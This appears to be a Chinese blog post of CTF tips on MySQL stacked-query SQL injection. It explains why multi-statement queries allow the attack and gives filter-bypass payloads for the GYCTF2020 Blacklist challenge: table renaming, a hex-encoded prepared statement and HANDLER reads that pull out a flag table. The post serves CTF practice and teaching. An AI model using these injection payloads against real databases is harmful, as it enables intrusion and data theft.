堆叠注入tips
2024-08-31 16:52:10
漏洞成因
- 使用
mysqli_multi_query()
这种支持多语句执行的函数 - 使用PDO的方式进行数据查询,创建PDO实例时
PDO::MYSQL_ATTR_MULTI_STATEMENTS
设置为true
时,可以执行多语句
ps:附上一片PDO的宽字节注入从宽字节注入认识PDO的原理和正确使用,预编译也不是滴水不漏
bypass技巧
以[GYCTF2020]Blacklist为例
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject)
获取库名、表名、列名
show databases;
show tables;
show columns from `table_name`;
bypass
(1) 修改表名
此时拼接sql语句的代码肯定是固定从一个表里取出某列的数据,这时候我们修改表名,取出数据来
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
但是一定要先改原表名
(2) 预编译
1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#
用16进制绕过
(3) HANDLER
在这次比赛中set
,rename
都被过滤,去翻文档可以找到https://dev.mysql.com/doc/refman/8.0/en/handler.html
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
例题
[GYCTF2020]Blacklist
[强网杯 2019]随便注
最新文章
- 获取当前应用的系统路径工具类和java的System.getProperty()方法介绍
- Web应用程序的自动化测试库-FluentAutomation
- eaysui 利用datagrid 实现左右移除数据
- window常用命令
- AloneJs.msgbox() —— 弹出消息框
- Java并发编程核心方法与框架-CountDownLatch的使用
- TCP/IP 协议介绍
- [Eclipse] - 集成Tomcat热加载插件
- 【未完待补充】linux 设置So动态库链接路径
- 弦图的判定MCS算法(zoj1015)
- POJ 1845 求a^b的约数和
- Linux apt-get
- nexus-2.13.0-01.war
- 简单的HDFS思维导图
- C#中一些易混淆概念总结
- pdo操纵mysql数据库
- ELK系列~log4-nxlog-Fluentd-elasticsearch写json数据需要注意的几点
- 51Nod 1289 大鱼吃小鱼(模拟,经典好题)
- ‘true’==true返回false详解
- Android开发技巧——实现底部图标文字的导航栏(已更新)